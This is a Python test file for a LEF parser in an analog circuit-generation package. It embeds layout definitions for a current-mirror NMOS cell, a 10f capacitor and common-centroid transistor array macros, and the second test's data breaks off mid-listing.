from cktgen.lef_parser import * def test_lef(): txt = """VERSION 5.7 ; BUSBITCHARS "[]" ; DIVIDERCHAR "/" ; PROPERTYDEFINITIONS MACRO function STRING ; MACRO _pcCompiledCounter INTEGER ; MACRO viewSubType STRING ; END PROPERTYDEFINITIONS MACRO current_mirror_nmos ORIGIN 0 0 ; FOREIGN current_mirror_nmos 0 0 ; SIZE 0.326 BY 0.197 ; PIN D2_output DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M1 ; RECT 0.2695 0.1785 0.2775 0.187 ; END END D2_output PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M1 ; RECT 0.155 0.1825 0.1685 0.192 ; END END S PIN D1_input DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M1 ; RECT 0.0575 0.176 0.0615 0.18 ; END END D1_input OBS LAYER M1 ; RECT 0.12 0.118 0.204 0.174 ; END PROPERTY function "transistor" ; PROPERTY _pcCompiledCounter 846 ; PROPERTY viewSubType "maskLayoutParamCell" ; END current_mirror_nmos END LIBRARY """ lp = LEFParser() lp.parse( txt) def test_file(): txt = """ MACRO cap_10f ORIGIN 0 0 ; FOREIGN cap_10f 0 0 ; SIZE 2.3680 BY 2.4360 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0280 0.0680 2.3400 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0280 2.3360 2.3400 2.3680 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 2.3880 ; LAYER M3 ; RECT 0.0480 0.0480 0.0800 2.3880 ; LAYER M1 ; RECT 0.1120 0.0480 0.1440 2.3880 ; LAYER M3 ; RECT 0.1120 0.0480 0.1440 2.3880 ; LAYER M1 ; RECT 0.1760 0.0480 0.2080 2.3880 ; LAYER M3 ; RECT 0.1760 0.0480 0.2080 2.3880 ; LAYER M1 ; RECT 0.2400 0.0480 0.2720 2.3880 ; LAYER M3 ; RECT 0.2400 0.0480 0.2720 2.3880 ; LAYER M1 ; RECT 0.3040 0.0480 0.3360 2.3880 ; LAYER M3 ; RECT 0.3040 0.0480 0.3360 2.3880 ; LAYER M1 ; RECT 0.3680 0.0480 0.4000 2.3880 ; LAYER M3 ; RECT 0.3680 0.0480 0.4000 2.3880 ; LAYER M1 ; RECT 0.4320 0.0480 0.4640 2.3880 ; LAYER M3 ; RECT 0.4320 0.0480 0.4640 2.3880 ; LAYER M1 ; RECT 0.4960 0.0480 0.5280 2.3880 ; LAYER M3 ; RECT 0.4960 0.0480 0.5280 2.3880 ; LAYER M1 ; RECT 0.5600 0.0480 0.5920 2.3880 ; LAYER M3 ; RECT 0.5600 0.0480 0.5920 2.3880 ; LAYER M1 ; RECT 0.6240 0.0480 0.6560 2.3880 ; LAYER M3 ; RECT 0.6240 0.0480 0.6560 2.3880 ; LAYER M1 ; RECT 0.6880 0.0480 0.7200 2.3880 ; LAYER M3 ; RECT 0.6880 0.0480 0.7200 2.3880 ; LAYER M1 ; RECT 0.7520 0.0480 0.7840 2.3880 ; LAYER M3 ; RECT 0.7520 0.0480 0.7840 2.3880 ; LAYER M1 ; RECT 0.8160 0.0480 0.8480 2.3880 ; LAYER M3 ; RECT 0.8160 0.0480 0.8480 2.3880 ; LAYER M1 ; RECT 0.8800 0.0480 0.9120 2.3880 ; LAYER M3 ; RECT 0.8800 0.0480 0.9120 2.3880 ; LAYER M1 ; RECT 0.9440 0.0480 0.9760 2.3880 ; LAYER M3 ; RECT 0.9440 0.0480 0.9760 2.3880 ; LAYER M1 ; RECT 1.0080 0.0480 1.0400 2.3880 ; LAYER M3 ; RECT 1.0080 0.0480 1.0400 2.3880 ; LAYER M1 ; RECT 1.0720 0.0480 1.1040 2.3880 ; LAYER M3 ; RECT 1.0720 0.0480 1.1040 2.3880 ; LAYER M1 ; RECT 1.1360 0.0480 1.1680 2.3880 ; LAYER M3 ; RECT 1.1360 0.0480 1.1680 2.3880 ; LAYER M1 ; RECT 1.2000 0.0480 1.2320 2.3880 ; LAYER M3 ; RECT 1.2000 0.0480 1.2320 2.3880 ; LAYER M1 ; RECT 1.2640 0.0480 1.2960 2.3880 ; LAYER M3 ; RECT 1.2640 0.0480 1.2960 2.3880 ; LAYER M1 ; RECT 1.3280 0.0480 1.3600 2.3880 ; LAYER M3 ; RECT 1.3280 0.0480 1.3600 2.3880 ; LAYER M1 ; RECT 1.3920 0.0480 1.4240 2.3880 ; LAYER M3 ; RECT 1.3920 0.0480 1.4240 2.3880 ; LAYER M1 ; RECT 1.4560 0.0480 1.4880 2.3880 ; LAYER M3 ; RECT 1.4560 0.0480 1.4880 2.3880 ; LAYER M1 ; RECT 1.5200 0.0480 1.5520 2.3880 ; LAYER M3 ; RECT 1.5200 0.0480 1.5520 2.3880 ; LAYER M1 ; RECT 1.5840 0.0480 1.6160 2.3880 ; LAYER M3 ; RECT 1.5840 0.0480 1.6160 2.3880 ; LAYER M1 ; RECT 1.6480 0.0480 1.6800 2.3880 ; LAYER M3 ; RECT 1.6480 0.0480 1.6800 2.3880 ; LAYER M1 ; RECT 1.7120 0.0480 1.7440 2.3880 ; LAYER M3 ; RECT 1.7120 0.0480 1.7440 2.3880 ; LAYER M1 ; RECT 1.7760 0.0480 1.8080 2.3880 ; LAYER M3 ; RECT 1.7760 0.0480 1.8080 2.3880 ; LAYER M1 ; RECT 1.8400 0.0480 1.8720 2.3880 ; LAYER M3 ; RECT 1.8400 0.0480 1.8720 2.3880 ; LAYER M1 ; RECT 1.9040 0.0480 1.9360 2.3880 ; LAYER M3 ; RECT 1.9040 0.0480 1.9360 2.3880 ; LAYER M1 ; RECT 1.9680 0.0480 2.0000 2.3880 ; LAYER M3 ; RECT 1.9680 0.0480 2.0000 2.3880 ; LAYER M1 ; RECT 2.0320 0.0480 2.0640 2.3880 ; LAYER M3 ; RECT 2.0320 0.0480 2.0640 2.3880 ; LAYER M1 ; RECT 2.0960 0.0480 2.1280 2.3880 ; LAYER M3 ; RECT 2.0960 0.0480 2.1280 2.3880 ; LAYER M1 ; RECT 2.1600 0.0480 2.1920 2.3880 ; LAYER M3 ; RECT 2.1600 0.0480 2.1920 2.3880 ; LAYER M1 ; RECT 2.2240 0.0480 2.2560 2.3880 ; LAYER M3 ; RECT 2.2240 0.0480 2.2560 2.3880 ; LAYER M1 ; RECT 2.2880 0.0480 2.3200 2.3880 ; LAYER M3 ; RECT 2.2880 0.0480 2.3200 2.3880 ; LAYER M2 ; RECT 0.0280 0.1320 2.3400 0.1640 ; LAYER M2 ; RECT 0.0280 0.1960 2.3400 0.2280 ; LAYER M2 ; RECT 0.0280 0.2600 2.3400 0.2920 ; LAYER M2 ; RECT 0.0280 0.3240 2.3400 0.3560 ; LAYER M2 ; RECT 0.0280 0.3880 2.3400 0.4200 ; LAYER M2 ; RECT 0.0280 0.4520 2.3400 0.4840 ; LAYER M2 ; RECT 0.0280 0.5160 2.3400 0.5480 ; LAYER M2 ; RECT 0.0280 0.5800 2.3400 0.6120 ; LAYER M2 ; RECT 0.0280 0.6440 2.3400 0.6760 ; LAYER M2 ; RECT 0.0280 0.7080 2.3400 0.7400 ; LAYER M2 ; RECT 0.0280 0.7720 2.3400 0.8040 ; LAYER M2 ; RECT 0.0280 0.8360 2.3400 0.8680 ; LAYER M2 ; RECT 0.0280 0.9000 2.3400 0.9320 ; LAYER M2 ; RECT 0.0280 0.9640 2.3400 0.9960 ; LAYER M2 ; RECT 0.0280 1.0280 2.3400 1.0600 ; LAYER M2 ; RECT 0.0280 1.0920 2.3400 1.1240 ; LAYER M2 ; RECT 0.0280 1.1560 2.3400 1.1880 ; LAYER M2 ; RECT 0.0280 1.2200 2.3400 1.2520 ; LAYER M2 ; RECT 0.0280 1.2840 2.3400 1.3160 ; LAYER M2 ; RECT 0.0280 1.3480 2.3400 1.3800 ; LAYER M2 ; RECT 0.0280 1.4120 2.3400 1.4440 ; LAYER M2 ; RECT 0.0280 1.4760 2.3400 1.5080 ; LAYER M2 ; RECT 0.0280 1.5400 2.3400 1.5720 ; LAYER M2 ; RECT 0.0280 1.6040 2.3400 1.6360 ; LAYER M2 ; RECT 0.0280 1.6680 2.3400 1.7000 ; LAYER M2 ; RECT 0.0280 1.7320 2.3400 1.7640 ; LAYER M2 ; RECT 0.0280 1.7960 2.3400 1.8280 ; LAYER M2 ; RECT 0.0280 1.8600 2.3400 1.8920 ; LAYER M2 ; RECT 0.0280 1.9240 2.3400 1.9560 ; LAYER M2 ; RECT 0.0280 1.9880 2.3400 2.0200 ; LAYER M2 ; RECT 0.0280 2.0520 2.3400 2.0840 ; LAYER M2 ; RECT 0.0280 2.1160 2.3400 2.1480 ; LAYER M2 ; RECT 0.0280 2.1800 2.3400 2.2120 ; LAYER M2 ; RECT 0.0280 2.2440 2.3400 2.2760 ; END END cap_10f MACRO CMB_2_n10_A1_B1 ORIGIN 0 0 ; FOREIGN CMB_2_n10_A1_B1 0 0 ; SIZE 3.8400 BY 3.4440 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 3.6360 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 3.6360 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 3.6360 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 3.6360 2.7880 ; END END S PIN D0 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 3.6360 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 3.6360 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 3.6360 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 3.6360 2.8720 ; END END D0 PIN D1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4040 3.6360 0.4360 ; LAYER M2 ; RECT 0.2040 1.2440 3.6360 1.2760 ; LAYER M2 ; RECT 0.2040 2.0840 3.6360 2.1160 ; LAYER M2 ; RECT 0.2040 2.9240 3.6360 2.9560 ; END END D1 PIN D2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4880 3.6360 0.5200 ; LAYER M2 ; RECT 0.2040 1.3280 3.6360 1.3600 ; LAYER M2 ; RECT 0.2040 2.1680 3.6360 2.2000 ; LAYER M2 ; RECT 0.2040 3.0080 3.6360 3.0400 ; END END D2 OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 2.8080 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 2.7240 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 2.8920 ; LAYER M2 ; RECT 0.2040 0.1520 3.6360 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 3.6360 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 3.6360 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 3.6360 2.7040 ; LAYER M3 ; RECT 0.9440 0.3840 0.9760 2.9760 ; LAYER M3 ; RECT 1.0240 0.4680 1.0560 3.0600 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 2.7840 1.8120 2.8160 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 3.4240 1.8120 3.4560 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 2.9440 1.8120 2.9760 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 3.5840 1.8120 3.6160 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 2.8640 1.8120 2.8960 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 3.5040 1.8120 3.5360 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 2.7840 2.6520 2.8160 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 3.4240 2.6520 3.4560 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 2.9440 2.6520 2.9760 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 3.5840 2.6520 3.6160 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; LAYER M1 ; RECT 2.8640 2.6520 2.8960 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 3.5040 2.6520 3.5360 3.2280 ; END END CMB_2_n10_A1_B1 MACRO CMB_4_n10_A1_B1_C2_D4 ORIGIN 0 0 ; FOREIGN CMB_4_n10_A1_B1_C2_D4 0 0 ; SIZE 6.4000 BY 6.8040 ; PIN S DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.2360 6.1960 0.2680 ; LAYER M2 ; RECT 0.2040 1.0760 6.1960 1.1080 ; LAYER M2 ; RECT 0.2040 1.9160 6.1960 1.9480 ; LAYER M2 ; RECT 0.2040 2.7560 6.1960 2.7880 ; LAYER M2 ; RECT 0.2040 3.5960 6.1960 3.6280 ; LAYER M2 ; RECT 0.2040 4.4360 6.1960 4.4680 ; LAYER M2 ; RECT 0.2040 5.2760 6.1960 5.3080 ; LAYER M2 ; RECT 0.2040 6.1160 6.1960 6.1480 ; END END S PIN D0 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.3200 6.1960 0.3520 ; LAYER M2 ; RECT 0.2040 1.1600 6.1960 1.1920 ; LAYER M2 ; RECT 0.2040 2.0000 6.1960 2.0320 ; LAYER M2 ; RECT 0.2040 2.8400 6.1960 2.8720 ; LAYER M2 ; RECT 0.2040 3.6800 6.1960 3.7120 ; LAYER M2 ; RECT 0.2040 4.5200 6.1960 4.5520 ; LAYER M2 ; RECT 0.2040 5.3600 6.1960 5.3920 ; LAYER M2 ; RECT 0.2040 6.2000 6.1960 6.2320 ; END END D0 PIN D1 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4040 6.1960 0.4360 ; LAYER M2 ; RECT 0.2040 1.2440 6.1960 1.2760 ; LAYER M2 ; RECT 0.2040 2.0840 6.1960 2.1160 ; LAYER M2 ; RECT 0.2040 2.9240 6.1960 2.9560 ; LAYER M2 ; RECT 0.2040 3.7640 6.1960 3.7960 ; LAYER M2 ; RECT 0.2040 4.6040 6.1960 4.6360 ; LAYER M2 ; RECT 0.2040 5.4440 6.1960 5.4760 ; LAYER M2 ; RECT 0.2040 6.2840 6.1960 6.3160 ; END END D1 PIN D2 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.4880 6.1960 0.5200 ; LAYER M2 ; RECT 0.2040 1.3280 6.1960 1.3600 ; LAYER M2 ; RECT 0.2040 2.1680 6.1960 2.2000 ; LAYER M2 ; RECT 0.2040 3.0080 6.1960 3.0400 ; LAYER M2 ; RECT 0.2040 3.8480 6.1960 3.8800 ; LAYER M2 ; RECT 0.2040 4.6880 6.1960 4.7200 ; LAYER M2 ; RECT 0.2040 5.5280 6.1960 5.5600 ; LAYER M2 ; RECT 0.2040 6.3680 6.1960 6.4000 ; END END D2 PIN D3 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.5720 6.1960 0.6040 ; LAYER M2 ; RECT 0.2040 1.4120 6.1960 1.4440 ; LAYER M2 ; RECT 0.2040 2.2520 6.1960 2.2840 ; LAYER M2 ; RECT 0.2040 3.0920 6.1960 3.1240 ; LAYER M2 ; RECT 0.2040 3.9320 6.1960 3.9640 ; LAYER M2 ; RECT 0.2040 4.7720 6.1960 4.8040 ; LAYER M2 ; RECT 0.2040 5.6120 6.1960 5.6440 ; LAYER M2 ; RECT 0.2040 6.4520 6.1960 6.4840 ; END END D3 PIN D4 DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2040 0.6560 6.1960 0.6880 ; LAYER M2 ; RECT 0.2040 1.4960 6.1960 1.5280 ; LAYER M2 ; RECT 0.2040 2.3360 6.1960 2.3680 ; LAYER M2 ; RECT 0.2040 3.1760 6.1960 3.2080 ; LAYER M2 ; RECT 0.2040 4.0160 6.1960 4.0480 ; LAYER M2 ; RECT 0.2040 4.8560 6.1960 4.8880 ; LAYER M2 ; RECT 0.2040 5.6960 6.1960 5.7280 ; LAYER M2 ; RECT 0.2040 6.5360 6.1960 6.5680 ; END END D4 OBS LAYER M3 ; RECT 0.2240 0.2160 0.2560 6.1680 ; LAYER M3 ; RECT 0.3040 0.1320 0.3360 6.0840 ; LAYER M3 ; RECT 0.3840 0.3000 0.4160 6.2520 ; LAYER M2 ; RECT 0.2040 0.1520 6.1960 0.1840 ; LAYER M2 ; RECT 0.2040 0.9920 6.1960 1.0240 ; LAYER M2 ; RECT 0.2040 1.8320 6.1960 1.8640 ; LAYER M2 ; RECT 0.2040 2.6720 6.1960 2.7040 ; LAYER M2 ; RECT 0.2040 3.5120 6.1960 3.5440 ; LAYER M2 ; RECT 0.2040 4.3520 6.1960 4.3840 ; LAYER M2 ; RECT 0.2040 5.1920 6.1960 5.2240 ; LAYER M2 ; RECT 0.2040 6.0320 6.1960 6.0640 ; LAYER M3 ; RECT 0.9440 0.3840 0.9760 6.3360 ; LAYER M3 ; RECT 1.0240 0.4680 1.0560 6.4200 ; LAYER M3 ; RECT 1.5840 0.5520 1.6160 6.5040 ; LAYER M3 ; RECT 1.6640 0.6360 1.6960 6.5880 ; LAYER M1 ; RECT 0.2240 0.1320 0.2560 0.7080 ; LAYER M1 ; RECT 2.1440 0.1320 2.1760 0.7080 ; LAYER M1 ; RECT 2.7840 0.1320 2.8160 0.7080 ; LAYER M1 ; RECT 4.7040 0.1320 4.7360 0.7080 ; LAYER M1 ; RECT 5.3440 0.1320 5.3760 0.7080 ; LAYER M1 ; RECT 0.8640 0.1320 0.8960 0.7080 ; LAYER M1 ; RECT 1.5040 0.1320 1.5360 0.7080 ; LAYER M1 ; RECT 3.4240 0.1320 3.4560 0.7080 ; LAYER M1 ; RECT 4.0640 0.1320 4.0960 0.7080 ; LAYER M1 ; RECT 5.9840 0.1320 6.0160 0.7080 ; LAYER M1 ; RECT 0.3840 0.1320 0.4160 0.7080 ; LAYER M1 ; RECT 2.3040 0.1320 2.3360 0.7080 ; LAYER M1 ; RECT 2.9440 0.1320 2.9760 0.7080 ; LAYER M1 ; RECT 4.8640 0.1320 4.8960 0.7080 ; LAYER M1 ; RECT 5.5040 0.1320 5.5360 0.7080 ; LAYER M1 ; RECT 1.0240 0.1320 1.0560 0.7080 ; LAYER M1 ; RECT 1.6640 0.1320 1.6960 0.7080 ; LAYER M1 ; RECT 3.5840 0.1320 3.6160 0.7080 ; LAYER M1 ; RECT 4.2240 0.1320 4.2560 0.7080 ; LAYER M1 ; RECT 6.1440 0.1320 6.1760 0.7080 ; LAYER M1 ; RECT 0.3040 0.1320 0.3360 0.7080 ; LAYER M1 ; RECT 2.2240 0.1320 2.2560 0.7080 ; LAYER M1 ; RECT 2.8640 0.1320 2.8960 0.7080 ; LAYER M1 ; RECT 4.7840 0.1320 4.8160 0.7080 ; LAYER M1 ; RECT 5.4240 0.1320 5.4560 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 6.0640 0.1320 6.0960 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 4.7040 0.9720 4.7360 1.5480 ; LAYER M1 ; RECT 5.3440 0.9720 5.3760 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 4.0640 0.9720 4.0960 1.5480 ; LAYER M1 ; RECT 5.9840 0.9720 6.0160 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 4.8640 0.9720 4.8960 1.5480 ; LAYER M1 ; RECT 5.5040 0.9720 5.5360 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 4.2240 0.9720 4.2560 1.5480 ; LAYER M1 ; RECT 6.1440 0.9720 6.1760 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 4.7840 0.9720 4.8160 1.5480 ; LAYER M1 ; RECT 5.4240 0.9720 5.4560 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 4.1440 0.9720 4.1760 1.5480 ; LAYER M1 ; RECT 6.0640 0.9720 6.0960 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 2.7840 1.8120 2.8160 2.3880 ; LAYER M1 ; RECT 4.7040 1.8120 4.7360 2.3880 ; LAYER M1 ; RECT 5.3440 1.8120 5.3760 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 3.4240 1.8120 3.4560 2.3880 ; LAYER M1 ; RECT 4.0640 1.8120 4.0960 2.3880 ; LAYER M1 ; RECT 5.9840 1.8120 6.0160 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 2.9440 1.8120 2.9760 2.3880 ; LAYER M1 ; RECT 4.8640 1.8120 4.8960 2.3880 ; LAYER M1 ; RECT 5.5040 1.8120 5.5360 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 3.5840 1.8120 3.6160 2.3880 ; LAYER M1 ; RECT 4.2240 1.8120 4.2560 2.3880 ; LAYER M1 ; RECT 6.1440 1.8120 6.1760 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 2.8640 1.8120 2.8960 2.3880 ; LAYER M1 ; RECT 4.7840 1.8120 4.8160 2.3880 ; LAYER M1 ; RECT 5.4240 1.8120 5.4560 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 3.5040 1.8120 3.5360 2.3880 ; LAYER M1 ; RECT 4.1440 1.8120 4.1760 2.3880 ; LAYER M1 ; RECT 6.0640 1.8120 6.0960 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 2.7840 2.6520 2.8160 3.2280 ; LAYER M1 ; RECT 4.7040 2.6520 4.7360 3.2280 ; LAYER M1 ; RECT 5.3440 2.6520 5.3760 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 3.4240 2.6520 3.4560 3.2280 ; LAYER M1 ; RECT 4.0640 2.6520 4.0960 3.2280 ; LAYER M1 ; RECT 5.9840 2.6520 6.0160 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 2.9440 2.6520 2.9760 3.2280 ; LAYER M1 ; RECT 4.8640 2.6520 4.8960 3.2280 ; LAYER M1 ; RECT 5.5040 2.6520 5.5360 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 3.5840 2.6520 3.6160 3.2280 ; LAYER M1 ; RECT 4.2240 2.6520 4.2560 3.2280 ; LAYER M1 ; RECT 6.1440 2.6520 6.1760 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; LAYER M1 ; RECT 2.8640 2.6520 2.8960 3.2280 ; LAYER M1 ; RECT 4.7840 2.6520 4.8160 3.2280 ; LAYER M1 ; RECT 5.4240 2.6520 5.4560 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 3.5040 2.6520 3.5360 3.2280 ; LAYER M1 ; RECT 4.1440 2.6520 4.1760 3.2280 ; LAYER M1 ; RECT 6.0640 2.6520 6.0960 3.2280 ; LAYER M1 ; RECT 0.2240 3.4920 0.2560 4.0680 ; LAYER M1 ; RECT 2.1440 3.4920 2.1760 4.0680 ; LAYER M1 ; RECT 2.7840 3.4920 2.8160 4.0680 ; LAYER M1 ; RECT 4.7040 3.4920 4.7360 4.0680 ; LAYER M1 ; RECT 5.3440 3.4920 5.3760 4.0680 